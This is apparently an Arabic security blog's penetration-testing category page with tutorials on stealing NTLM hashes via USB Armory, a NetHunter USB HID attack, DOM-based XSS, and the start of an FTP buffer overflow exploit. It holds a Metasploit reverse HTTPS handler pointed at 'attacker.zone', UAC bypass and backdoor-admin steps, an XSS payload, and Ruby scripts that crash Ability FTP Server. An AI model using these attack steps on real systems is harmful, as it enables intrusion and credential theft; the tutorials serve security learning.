RSSمحتويات التصنيف: "تجربة الإختراق"

سرقة الصلاحيات من جهاز ويندوز مغلق باستخدام USB Armory

USB Armory

موضوعنا اليوم هو موضوع جميل ومهم جدا لل pentester و ال red teamer ويصنف تحت ال Physical Social Engineering Attack. اليوم سنتعلم كيفية سرقة ال NTLM hashes من جهاز ويندوز حتى لو كان الجهاز في Locked باستخدام USB Armory device.

نستفيد من هاشات ال NTLM في سيناريوهات كثيرة منها على سبيل الذكر لا الحصر

  • الدخول على ال Shared folders
  • أو في هجمات ال PTH على الجهاز أو على الخوادم التي قد يدخلها المستخدم من جهازه المستهدف
  • تنفيذ أوامر عن بعد على الجهاز المستهدف باستخدام psexec
  • محاول كسر الهاش و الحصول على كلمة المرور الحقيقة باستخدام أداة hashcat (قد تستغرق وقت طويل جدا)
  • إلخ

الجدير بالذكر هنا أنه لن تعيقنا أي Group policy  تمنع استخدام ال USB storage لان الكمبوتر المستهدف سيتعرف عليه على أنه USB Ethernet device.

اختراق نظام Windows 8.1 بهجوم USB HID

مقدمة

من فترة طويلة و أنا أريد استخدام نظام Kali – NetHunter المعدل للعمل مع نظام أندرويد على عدة اجهزة (Nexus 4, 5, 7, 10, OnePlusOne) وسيتم دعم المزيد مستقبلا. توزيعة NetHunter تحمل في قلبها توزيعة Kali وتستطيع أن تعمل كل ما تعمله Kali. في نفس الوقت, هناك إضافات و تسهيلات جعلت الاختراق أسهل بكثير وهناك العديد قادم في هذه التوزيعة الواعدة من تطوير offensive-security. هجوم اليوم هو HID أو Human Interface Device عن طريق استغلال توصيل الهاتف المحمول بالكمبيوتر وهذا شائع جدا ويسهل عليك أن تطلب شحن هاتفك من أي أحد يملك جهاز كمبيورت وغالبا ستقابل ترحابا بكل سهولة.  هناك تطبيقات غير محدودة لهذا الهجوم وسنعرض اليوم إحداها.

 

الشرح سيكون على جهاز OnePlusOne لكنه يسري على جميع الاجهزة المدعومة

خطوات الاختراق

سأفترض مسبقا بأنك ملم بالمصطلحات التقنية التي ذكرت وسأتضطرق لتعريف الجديد منها في موضوعي.

1. تشغيل الأباتشي

اختر NetHunter Home Launcher

Applications

Applications

ثم اسحب الشاشة من اليسار إلى اليمين و اختر Kali Service Control

Kali Service Control

Kali Service Control

ثم فعل الأباتشي من القائمة

2. إعدادات هجوم الـ USB HID

سأحاول وضع الخطوات بشكل مفصل كي نستفيد منه في شروحات قادمة -إن شاء الله-

2.1. جعل أندرويد في USB Debugging mode

من قائمة البرامج, اذهب إلى

Settings >> Developer options >> Android debugging

Debugging Mode

Debugging Mode

 

2.2. وصل الهاتف بالجهاز المراد اختراقه

إذا تم التوصيل بنجاح ستجد تنبيه الـ Debugging mode في شريط تنبيهات الهاتف وبدونه لن تنجح عملية الاختراق

2.3. إعدادت الـ PowerSploit

مشروع الـ PowerSploit  واحد من أجمل المشاريع الموجودة على الساحة حاليا و يستخدم إمكانيات الـ PowerShell في اختراق الويندوز. تم استخدام أحد إمكانيات هذا المشروع في توزيعة NetHunter بشكل رائع.

هذا الاستغلال يسمح لك بتشغيل اتصال HTTPS عكسي على Metasploit meterpreter

هناك أربع إعدادات رئيسية

IP Address – LHOST : وهو عنوان الجهاز المشغل للميتاسبلويت handler سنتفترض أنه attacker.zone

Port – LPORT: وهو المنفذ الذي ينصت إليه الـ metasploit handler

Payload: وهنا أنت مخير بين الـ HTTP و HTTPS طبعا الأخير أفضل

URL to Payload : غاالبا يكون نفس عنوان الهاتف المحمول -لهذا قمنا بتفعيل الأباتشي سابقا- إلا إذا كنت قد أعدت الـ Payload في مكان أخر.

PowerSploit Settings

PowerSploit Settings

2.3.1. تخطي التحكم في صلاحيات المستخدم UAC

نقوم بهذه الخطوة كي نضمن تنفيذ الهجوم بأعلى صلاحيات ممكنة والتأكد من عدم منع النظام للهجوم من تنفيذ أوامر الـ PowerSploit

UAC Bypass

UAC Bypass

 

2.3.3. إعداد الميتاسبلويت وتنفيذ الهجوم

تشغيل الميتاسبلويت و الـ handler على الهاتف الجوال أو على الجهاز المحدد في جزء IP Address -LHOST  سابقا والذي سيتصل عليه الـ Reverse HTTPS meterpreter

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST attacker.zone
set LPORT 4444
run

وأخيرا تنفيذ الهجوم

Execute Attack

Execute Attack

 

2.4. إعدادت الـ Windows CMD

هنا نفس طريقة الهجوم السابقة -ونفس الخطوات عدا تشغيل الأباتشي- لكن ينفذ أوامر تقوم أنت بإعدادها مسبقا و يقوم بتنفيذها على جهاز الضحية بدلا من تشغيل Reverse HTTPS meterpreter shell.

مثلا سنضيف مستخدم جديد اسمه KING ونجعله في مجموعة المدراء Administrators. طبعا تستطيع تعديل و إضافة ما تشاء من أوامر

Windows CMD

Windows CMD

 

شخصيا منبهر من سهولة و خطورة الهجوم و كيف أصبح جوالك ألة اختراق متحركة و بأقل الخطوات

تحياتي واحترامي

شرح ثغرات Dom-Based XSS بالتفصيل

Xss

ثغرات XSS او Cross-Site Scripting اصبحت واحدة من أشهر ثغرات تطبيقات الويب فهي تأتي في المرتبة الثالثة حسب تصنيف موقع OWASP لأشهر و أكثر 10 ثغرات انتشاراً في تطبيقات الويب لعام 2013 .

صحيح ان ثغرات الـ XSS لا تعد من الثغرات عالية الخطورة لأنها لا تؤثر بشكل مباشر على الموقع او الخادم و إنما تؤثر على جانب العميل الـ Client Side او المستخدم و تحتاج لإضافة القليل من الهندسة الاجتماعية حتى تصل إلى هجوم قوي من خلالها .

لكن هذا لا يمنع ان ثغرات XSS كانت سبباً أساسي في أختراق أكبر الشركات و المواقع العالمية كما حدث منذ أشهر مع المنتديات الخاصة بموقع ubuntu الشهير و تم سرقة معلومات قرابة الـ 2 مليون مستخدم عن طريق استغلال لثغرة XSS بالموقع كما ان ثغرات الـ Xss ايضا كانت سبباً رئيسي في اختراق موقع Apple للمطورين خلال نفس الفترة . فمن المؤكد أن هذا النوع من الثغرات قد يشكل خطورة أكبر بكثير من خطورة ثغرات الـ SQL Injection في حال قام الـهاكر باستغلالها بشكل ذكي و قوي .

موضوعنا اليوم سنتكلم فيه بشكل أساسي على نوع مختلف بعض الشئ من ثغرات الـ XSS و الذي يطلق عليه Dom-Based XSS و قد يكون الكثير ممن يقرؤون هذا المقال لم يتعرفوا إلى هذا النوع من ثغرات xss او يعرفوه اسماً فقط .

من المتعارف عند الجميع ان أشهر أنواع لثغرات XSS هي ما يطلق عليها الـ Reflected XSS و الـ Stored XSS .

و لكن يوجد ايضاً أنواع اخرى تقوم بنفس التأثير لثغرات XSS مثل الـ Flash XSS و Dom-Based XSS و الأخيرة هي التي سوف نقوم بالحديث عنها اليوم في هذة المقالة ان شاء اللًه .

ما هي فكرة ثغرات XSS و كيف تعمل؟

كما نعلم ثغرات XSS تكمن خطورتها في تعديل لمحتوى صفحات الموقع التي تظهر للمستخدم و ذلك عن طريق حقن اكواد HTML او Javascript , كانك تقوم بالضبط بالتعديل على ملفات الـ html و javascript الخاصة بالموقع من خلال احد برامح محرر صفحات الويب .فثغرات XSS تساعد المخترق على تعديل صفحات الموقع و عمل صفحات مزورة مع الاحتفاظ بنفس رابط الصفحة و الدومين , كما يستغلها لبعض لسرقة Sessions او الـ Cookies الخاصة بالمستخدمين و هو يعد اخطر استغلال لثغرات XSS و ذلك عن طريق استخدام داله جافا سكريبت التي تستطيع قراءة بينات الكوكيز مثل document.cookie و ايضاً يستخدم هاكرز أخرون ثغرات الـ XSS في اختراق صفحات الموقع في حال كانت الثغرة من نوع Stored Xss .

دعونا اولا نستعرض طريقة عمل XSS حتى يمكنا بعد ذلك فهم فكرة عمل ثغرات Dom Based Xss بسهولة , ببساطة ثغرات XSS تحدث عندما يقوم المستخدم بأرسل مدخل للصفحة و تقوم الصفحة بأخذ هذا المدخل من المستخدم وعرضه مباشرة كما هو في HTML عن طريق دوال البرمجة مثلا print و echo

مثال بسيط جداً على ذلك صفحة تطلب من المستخدم إدخال اسمه الشخصي

1

و يدخل اليها الاسم

Ahmed Aboul-Ela

بعد ذلك تقوم بعرض الجملة “Welcome Ahmed Aboul-ELa

2

و اذا استعرضنا html code يكون كالتالي

3

جميل , لكن ماذا سوف يحدث اذا أدخلت للصفحة اسماً مصحوب بـtags خاصة بالـhtml مثلا هذا الأسم

<h1> Ahmed Aboul-ELA </h1>

ببساطة سوف تكون النتيجة كالتالي

4

و اذا قمنا باستعراض html code هذة المرة سوف يصبح كالتالي

5

اذاً الأن تتضح لدينا المشكلة بوضوح , فعند كتابة الاسم مصحوباً بـ الـ tags الخاصة بالـhtml المتصفح هنا لم يفهم انه هذا هو مجرد اسم الشخص و لكنه قام بترجمة اكواد html في الاسم و قام بعرضة بالشكل المطلوب و عندها تغير شكل الاسم في الصفحة و أصبح بخط أكبر . اذاً فان المشكلة كلها كانت في ان الصفحة أخذت الاسم من المستخدم و أظهرته مباشرة دون اي تحقق من ان الاسم قد يحتوى على اكواد خاصة بالـ HTML .

دعونا الأن نحدد هنا من المسؤول عن أخذ الاسم من المستخدم في الصفحة و من المسؤول عن إظهار الأسم في html , في هذة الحالة فان المسؤول عن أخذ الاسم هي داله $_POST في لغة برمجة php و المسؤول عن إظهار الاسم في html هي داله echo . الأن هذة المقدمة كانت ضرورية لنا حتى نستطيع ان نستوعب فكرة عمل dom-based xss في الجزء التالي .

ما هي ثغرات Dom Based Xss و كيف تعمل ؟

ببساطة ثغرات XSS لا تختلف كثيراً في مفهموها عن ثغرات refelected xss و لكن الفرق بينها و بين ثغرات XSS في الأسلوب و الطريقة , فكما ذكرنا في ثغرات xss التقليدية فان من يقوم باستقبال المدخل من المستخدم هي لغة PHP عن طريق داله $_POST او $_GET التى تستطيع قرائه المدخلات من خلال form في صفحة ما او من خلال الرابط . لكن في حاله Dom-Based فأن من يقوم بأخذ المدخل من المستخدم هي دوال الـ javascript و من يقوم بطباعة المدخل ايضاً هي دوال الـ javascript دون الحاجة إلى اي لغات برمجة أخرى او حتى web server لترجمة و تشغيل الملفات .

سوف نطلق على دوال التي تقوم بأخذ المدخل من المستخدم هي دوال الـ sources و ان الدوال التي تقوم بطباعة هذا المدخل و إظهاره في html هي sinks . و الأن نبدأ بشرح بعض دوال sources و sinks و نرى كيف يمكن ان تؤدي بعد ذلك إلى ثغرات XSS .

ما هي دوال Sources ؟

دوال الـsources هي دوال في لغة javascript و التي من خلالها يمكن ان تقوم بإرسال مدخل إلى الصفحة في هذه الحالة غالبا يكون المدخل من المستخدم مرسل من خلال رابط الصفحة او url مثلا لدينا الرابط التالي :

https://site.com/home/file.html?name=ahmed#Securtiy4arabs

فمن الممكن من خلال هذة الدوال ان تقوم بقراءة رابط الصفحة بالكامل او فقط مسار الصفحة home/file.html/ او قيمة الاسم المدخل ahmed او الهاش تاج security4arabs كأنك بالضبط تقوم عمل تحليل الرابط و تقسيمه إلى إجزاء , جزء هو مسار الصفحة و اسم ملف الصفحة و جزء هي المتغيرات او parameters المرسلة إلى الصفحة

و يمكن عمل ذلك من خلال javascript ببساطة عن طريق الدوال التالية :

دوال تقوم بقرائه رابط الصفحة بالكامل

  • document.URL
  • document.documentURI
  • document.URLUnencoded
  • document.baseURI
  • location
  • location.href

مثال على ذلك اقوم بكتابة صفحة تحتوى على كود الجافا سكريبت التالي :

<script>
alert(location.href);
</script>

و بعد ذلك اقوم بتشغيل الصفحة و تكون النتيجة كالتالي :
dombased_xss1

نلاحظ ان الصفحة قامت باظهار msg box يحتوى على رابط الصفحة التي قمت بتشغيلها كما قمنا بكتابة في ملف html , و يكون نفس الحال مع باقي الدوال التي قمنا بذكرها , سوف تظهر رابط الصفحة بالكامل , الأن نتطرق إلى داله اخرى تقوم بقرائه اسم الصفحة فقط دون المدخلات إليها او اسم domain .

دوال تقوم بقرائه اسم الصفحة و مسارها

location.pathname

مع استخدام نفس كود الصفحة السابق و استبدال فقط اسم الدالة location.href باسم الدالة يصبح لدينا النتيجة التالية

dombased_xss2

الفكرة بسيطة أليست كذلك ؟ الأن نستكمل ذكر بعض الدوال الأخرى و التي تستطيع قرائه جزء من رابط الصفحة كالدوال السابقة .

دوال تقوم بقرائه المدخلات او parameters فقط المرسلة إلى الصفحة

  • location.search

مثال على ذلك قمت بتشغيل الصفحة بهذة الدالة و ارسلت اليها بعض المدخلات مثلا

https://site.com/page.html?name=ahmed

تكون النتيجة كالتالي :

dombased_xss3

و اخيرا نقوم بذكر دالة تستخدم كثير في مواقع و هي داله تقوم بقرائة الـ hashtag # في الرابط

دوال تقوم بقرائه HashTag

  • location.hash

نقوم بتشغيل الصفحة مرة اخرى بهذة الدالة و نرى النتيجة

dombased_xss4

قمنا فقط بفتح رابط الصفحة مع اضافة #Ahmed Aboul-Ela في نهاية الرابط و قامت الصفحة بأظهار هذا الجزء فقط من الرابط الأن تعرفنا الى جميع دوال sources الأن ننطلق إلى الدوال التي تستطيع ان تظهر هذة sources في مخرج الصفحة

ما هي دوال Sinks ؟

دوال sinks ببساطة كما ذكرنا هي المسؤلة عن إظهار و كتابة القيمة المرسلة من خلال داله من دوال sources بالظبط كداله print في لغات البرمجة

دوال الـsinks ليست صعبة و سوف اقوم بذكر اهمها

  • داله document.write و doucment.writeln

هي داله المكافئة لدالة print في لغات البرمجة فتقوم مباشرة بطباعة الكلام داخل كود HTML

مثال على ذلك صفحة تحتوى على كود HTML التالي

<script>
document.write(‘hello world’) ;
</script>

ستكون النتيجة لدينا كما في الصورة

dombased_xss5

  • داله anyElement.innerHTML

هذه الدالة ببساطة تقوم بقراءة او كتابة كود بداخل Tag معين في الصفحة

مثلا document.body.innerHTML سوف تقوم بقرائة محتوى <body> </body> بالكامل

و اذا قمت بعمل document.body.innerHTML = ‘ahmed’ سوف يقوم بعمل استبدال كامل لمحتوى تاج body و كتابة فيه الكلمة Ahmed

مثال على ذلك كود الصفحة التالي

<html>
<body>
Just a text in body tag
<script>
document.body.innerHTML = ‘www.security4arabs.com’;
</script>
</body>
</html>

عند تشغيل الصفحة ستقوم الـJavaScript بتغير محتوى الصفحة الأصلي
و المكتوب فيه Just a text in body tag بـالكلمة www.security4arabs.com

dombased_xss6

كما نلاحظ لم تظهر الجملة just a text in body tag الأن تعرفنا إلى اهم دوال html sinks و التي تستطيع كتابة كلام في الصفحة و تعرفنا الى دوال Sources التي تستطيع ان ترسل مدخل إلى الصفحة من خلال الرابط

الأن نتطرق إلى الخطوة الأخيرة و هي كيفية حدوث ثغرات dom based xss من خلال هذة الدوال

كيف تحدث ثغرات Dom-Based Xss باستخدام دوال Sources و Sinks

كما ذكرنا في السابق ان xss تحدث عندما يرسل المستخدم للصفحة مدخل و تقوم الصفحة بأخذ المدخل و عرضه مباشرة داخل الصفحة
و نحن الأن تعرفنا كيف من الممكن ان تقوم بقراءة جزء من رابط الصفحة كمدخل و تعرفنا كيف يمكن ان نقوم بكتابة كلام من خلال javascript بداخل الصفحة

اذاً الأن يتحقق لدنيا طرفي المعادلة التي تقوم بإحداث ثغرات XSS , نرى في الجزء التالي كيف يمكن ان تقوم بتنفيذ ثغرة XSS فقط من خلال Javascript

لن اسرد المزيد من الكلام النظري و دعونا ننتقل مباشرة إلى كود الصفحة التالي و نرى ماذا تفعل

<html>
<body>
<script>
document.body.innerHTML = location.hash;
</script>
</body>

الأن فقط بالنظر لكود الصفحة يمكن فهم ماذا تفعل

ببساطة الصفحة تقوم بكتابة location.hash و هو الهاش تاج # الذي يأتي في نهاية رابط الصفحة بداخل <body> </body>

نفتح الصفحة الأن من خلال المتصفح و نرسل اليها اي كلام بعد # لنرى اذا كان هذا الكلام صحيح ام لا

dombased_xss7

جميل لقد قامت الصفحة بطباعة الـhash tag كما كتبناه و عند تغير كلمة Test سوف تتغير النتيجة في الصفحة

طيب الأن ماذا سيحدث اذا ارسلنا كلمه test مصحوبة باكواد html او javascript ؟

مثل سوف ارسل للصفحة Xss Payload كالنالي :

<img src=x onerror=alert(1337)>

دعونا نرى النتيجة 🙂

dombased_xss8

هل لاحظت ما حدث ؟ الأن اتضحت لدنيا ثغرة xss بوضوح و تم تشغيل كود alert لـ 1337 🙂 هذا كان فقط مثال بسيط يوضح لدينا فكرة عمل ثغرات Dom-Based Xss

قد يسألني احد الأن هل تعتقد ان مثل هذة الثغرات قد تكون موجودة في كثير من المواقع !؟

الأجابة بالطبع نعم فثغرات Dom Based Xss ظهرت في اكبر المواقع العالمية مثل google , microsoft , yahoo , Adobe و غيرهم الكثير

و هذا مثال على احدى الثغرات الذي قمت باكتشافها بنفسي و ابلغت عنها في شركة Redhat

و الثغرة كانت في صفحة التسجيل الرئيسية لإنشاء الحسابات لموقع redhat.com

redhat

كيف يمكن إكتشاف ثغرات Dom Based Xss ؟

إكتشاف ثغرات Dom-Based Xss هي عملية ليست سهله لأنها تحتاج إلى فحص و تدقيق في اكواد Javascript و اغلب المواقع الأن تستخدم الكثير من اكواد Javascript قد يصل الكود فيها إلى الاف من الأسطر و سيصبح من الصعب ان تقوم بعمل ذلك و فحص هذة الأكواد بشكل يدوي

لكن اصبح هناك ادوات تساعد على اكتشاف مثل هذة الثغرات و من اشهر و اقوى هذة الأدوات هي اداة Dominitor و لكنها ليست مجانية للأسف والأداة هي عبارة عن متصفح firefox معدل يستطيع بتبع الـ Dom في الصفحات و يمكنه اكتشاف sinks و sources بمجرد زيارة الصفحة من خلال المتصفح

واليكم الفيديو التالي الذي يوضح فيه كيف استطاع مبرمج الأداة اكتشاف ثغرة Dom Based Xss في Google Plus Button

فيديو اخر لإكتشاف ثغرة اخرى في موقع google

و إلى هنا نكون قد غطينا اهم النقاط الأساسية في موضوعنا اليوم و اتمنى ان يكون الشرح كان واضحاً و سهلأً 🙂

المراجع

Buffer Overflow tutorial – Part 2: Stack Based Overflow

[toc]

 
 

1. مقدمة

في هذه السلسلة, لن أتكلم عن أساسيات ثغرات الـ Buffer overflow فهناك شروحات وفت هذا الجزء. و سأتطرق لما أجده مهم في عملية التطبيق من معلومات و قد أخصص أجزاء نظرية إذا دعت الحاجة.
قبل أن نبدأ أرجوا أن توفر المتطلبات التالية في بيئتك لنبدأ العمل بشكل سريع وسهل.

نظام التشغيل: Linux
نظام تشغيل الهدف : Windows XP(SP1,SP2,SP3), Windows server 2003 بمعمارية 32-bit
الأدوات: الرجاء تحميل الأدوات من موضوع Buffer Overflow tutorial – Part 1: Tools
البرنامج المصاب: Ability Server 2.34 – قم بوضع مجلد البرنامج في “C:\”
[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/abilitywebserver.zip”]Download AbilityWebServer.zip[/button]

 

2. Verify the bug

هناك ثلاثة طرق رئيسية لتفحص ثغرة Overflow في برنامج معين
1- Code review: حيث يتوفر لديك الشيفرة المصدرية أو Source code وتقوم بمراجعة اكواد البرنامج و البحث عن الدوال غير الأمنة أو استخدام برامج فحص ومراجعة الأكواد.
2- Reverse enginering: هنا تقوم بالهندسة العكسية لاستخراج الشيفرة المصدرية ثم تقوم بما كنت ستقوم به في ال Code review.
3- Fuzzing: وهنالن ترى الكود الأصلي أبدا, بل ستتعامل مع مدخلات البرنامج وطرق التعامل معها سواء كان المدخلات ملف أو اتصال أو أي نوع من أنواع المدخلات. وهنا سنستخدم عملية الـ Fuzzing

2.1. Fuzzing

في هذه العملية يجب علينا معرفة طريقة سير البرنامج أو الخدمة ومعرفة جميع الأماكن التي تستخدم لإدخال قيمة أو عدة قيم للبرنامج. أيضا يجب أن نعرف إمكانية التعامل مع هذه المدخلات. فمثلا برنامج تشغيل صوتيتا مدخلاته المنطقية هي ملف صوتي و لو كان يستخدم Themes إضافية للبرنامج فقد حصلنا على مدخل أخر وهو ملف يحتوي تصميم مظهر البرنامج. أيضا قد يقوم برنامج الصوتيات يقوم بعمل تحديث من الإنترنت أو البحث في الانترنت على ملفات صوتية, وفي هذه الحالة أضفنا مدخلا أخر وهو فتح اتصال واستقبال وإرسال. نفس الأمر مع برنامج يقدم مثلا خدمة FTP فيجب معرفة أوامر Protocol ال FTP و بالباطبع سيأخذ اسم مستخدم وكلمة مرور لهما طول محدد كحد أقصى. وهكذا

أولا نشغل الخادم و نجهز إعداداته كالتالي

ثم

ثم تأكد من إزالة علامة الصح من أمام اختيار File write. حيث هنا تكمن ثغرة الـ STOR. لا تنسى أن تقفل ثم تفعل خدمة الـ FTP بعد تنفيذ هذه العملية. ستلاحظ في الصورة السابقة كلمة Deactivate أمام كل خدمة.

الأن شغل الـ immunity debugger ودرج الـ process الخاصة بـ Ability FTP server في المنقح
بهذه الطريقة


ثم نشغل البرنامج من الـ Debugger لأنه يجمد عمل البرنامج بمجرد إدراجه بداخله

[box style=”alert”]
من الضروري جدا إجادة التعامل مع ال Debugger لأنني لن أستطيع أن أعيد كل هذه الصور في كل موضوع. وفي نهاية الموضوع يوجد فيدو توضيحي لكامل الموضوع خطوة بخطوة. أيضا لن أستطيع أن أعمل فيديو في كل المواضيع لهذا وجب التنبيه.
[/box]

الأن, سننشئ سكريبت بسيط يعمل عملية Fuzzing بسيطة و سيرسل 2000 حرف A بعد تسجيل الدخول إلى خادم الـ FTP وتنفيذ أمر STOR أي أنه سيقوم بتخزين 2000 ملف أسمهم A في الخادم. وسنقوم بتطوير هذا السكريبت حتى يصلى إلى استغلال كامل بإذن الله


#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'

buffer = "A" * 2000

#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("APPE " + buffer + "\r\n", 0)
total = s.send("STOR " + buffer + "\r\n", 0)
s.close

#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{buffer.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"

[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR1.rb”]Download ability-STOR1.rb[/button]

بعد تحميل الملف, اعطه صلاحيات التنفذ ثم تفذه , وستكرر هذه العملية في كل الملفات القادمة

chmod +x ability-STOR1.rb
ruby ability-STOR1.rb

ستجد شكل المنقح كالتالي, ويعني أنه حصل خطأ وتجاوز في الذاكرة. (اضغط على الصورة للتكبير)

Figure 2.1a

– لاحظ في الصورة أننا وصلنا لـ EIP register حيث يحتوي على “41414141” -و التي تعني “AAAA” بالـ Hexadecimal- وهو محور عملنا وأول أهم الأمور في العملية.
– لاحظ في الصورة أننا وصلنا إلى ESP register – سنتطرق لهذا لاحقا

[box style=”alert”]
في كل مرة سننفذ السكريبت يجب أن نعمل إعادة تشغيل للبرنامج من خلال المنقح


ثم تكمل تشغيله

[/box]

 
 

3. Finding EIP exact address

ذكرنا أن الـ EIP هو محور عملنا وأننا لو تحكمنا به سنتحكم بسير عمل البرنامج لأنه المؤشر الذي يشير إلى العنوان القادم الذي سيتم تنفيذ محتواه. بما أننا أرسلنا مجموعة كبيرة من الـ A’s فإننا لا نعرف بالظبط ما هو عنوان EIP .. دعنا نقسم الـ 2000 إلى 4 ونجعلها 500 حرف A و 500 حرف B و 500 حرف C و 500 حرف D و ننفذ السكريبت وننظر ماذا حدث في الذاكرة.


#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'

buffer = "A" * 500
buffer += "B" * 500
buffer += "C" * 500
buffer += "D" * 500

#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + buffer + "\r\n", 0)
total = s.send("STOR " + buffer + "\r\n", 0)
s.close

#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{buffer.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"

[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR2.rb”]Download ability-STOR2.rb[/button]

Figure 3a

– لاحظ أن الـ EIP فيه قيمة “42424242” أي BBBB وهذا يعني أن عنوان الـ EIP في ال 500 الثانية,, نظرة عن قرب

Figure 3b


جميل, اتضحت الصورة الأن. لكن ماهو ليس بجميل هو أنه من الصعب تكرار وتقسيم الحروف إلى أجزاء أصغر فأصغر حتى نصل إلى المسافة الحقيقة. ولحل هذه المشكلة ننتقل للفقرة التالية

3.1. Sending unique pattern string

الأن جاء دور الأداة Buffer Overflow Kit لكي نخرج 2000 حرف مميزين ثم بعد ذلك نأخذ القيمة الموجودة في الـ EIP ونبحث عنها في الـ 2000 حرف لنعرف بعد كم حرف(byte) يقعد الـ EIP بالظبط


ruby bofk-cli.rb --pattern-create 2000
---[ Pattern create ]-----------------------------------------------------------
[+] Size: 2000

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8